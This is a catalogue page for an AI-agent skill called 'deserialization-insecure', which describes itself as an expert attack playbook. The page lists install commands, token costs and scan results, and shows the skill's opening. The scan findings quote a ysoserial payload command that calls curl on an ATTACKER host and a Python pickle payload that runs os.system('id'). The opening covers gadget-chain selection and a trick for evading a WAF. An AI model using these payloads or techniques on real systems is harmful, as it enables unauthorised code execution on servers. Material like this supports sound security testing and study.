Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/shulkwisec/bb-huge/deserialization-insecurenpx skills add ShulkwiSEC/bb-huge --skill deserialization-insecuregit clone --depth 1 https://github.com/ShulkwiSEC/bb-hugeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/deserialization-insecure)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/deserialization-insecure"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/deserialization-insecure.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00052 | $0.06558 |
| Opus 5 | $0.00026 | $0.03279 |
| Sonnet 5 | $0.00010 | $0.01312 |
| Haiku 4.5 | $0.00005 | $0.00656 |
Grade A, and why
deserialization-insecure scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ("id",)) This is a copy
100% identical to deserialization-insecure — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 726 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Insecure Deserialization — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
0. RELATED ROUTING
- jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
- unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
- ghost-bits-cast-attack when a WAF blocks your BCEL ClassLoader or Fastjson
@typepayload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint
Advanced Reference
Also load JAVA_GADGET_CHAINS.md when you need:
- Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
- SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
- Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
- .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
- Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
- Detection fingerprints: magic bytes table by format (Java
AC ED, .NETAAEAAD, Python pickle80 0N, PHPO:, Ruby04 08)
1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
Java Serialized Objects
| Indicator | Where to Look |
|---|---|
Hex ac ed 00 05 |
Raw binary in request/response body, cookies, POST params |
Base64 rO0AB |
Cookies (rememberMe), hidden form fields, JWT claims |
Content-Type: application/x-java-serialized-object |
HTTP headers |
| T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3d ago First seen · 726 lines · 52 tokens per session scan A 4304aacd259c
deserialization-insecure is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 52 tokens to every session and 6,558 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). It is 100% identical to deserialization-insecure, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
hunt-api-misconfig
Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {isadmin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this…
octopus-architecture
System architecture and API design with multi-AI consensus — use for design reviews and new subsystems.
agenticx-a2a-connector
Guide for using the A2A (Agent-to-Agent) communication protocol in AgenticX including agent discovery, skill invocation, remote agent cards, and distributed agent systems. Use when the user wants agents to communicate with each other, set up distributed agent systems, invoke remote agent skills, or build…
agenticx-tool-creator
Guide for creating custom tools in AgenticX including function decorator tools, MCP tool integration, tool registries, and remote tool access. Use when the user wants to create tools for agents, integrate external APIs as tools, build MCP servers, or extend agent capabilities with custom functions.
continuum-tools-mcp
Connect MCP servers (Stdio/SSE/StreamableHTTP) to a Continuum agent, configure tool filtering, set up tool-context capture/injection (e.g. sessionid), and read run artifacts (UI widgets, structured tool data). Invoke when the user asks "connect MCP", "filesystem tool", "remote API tool", "auto-capture sessionid"…
pwn-ai-openai
Drive PWN::AI::OpenAI from pwneval.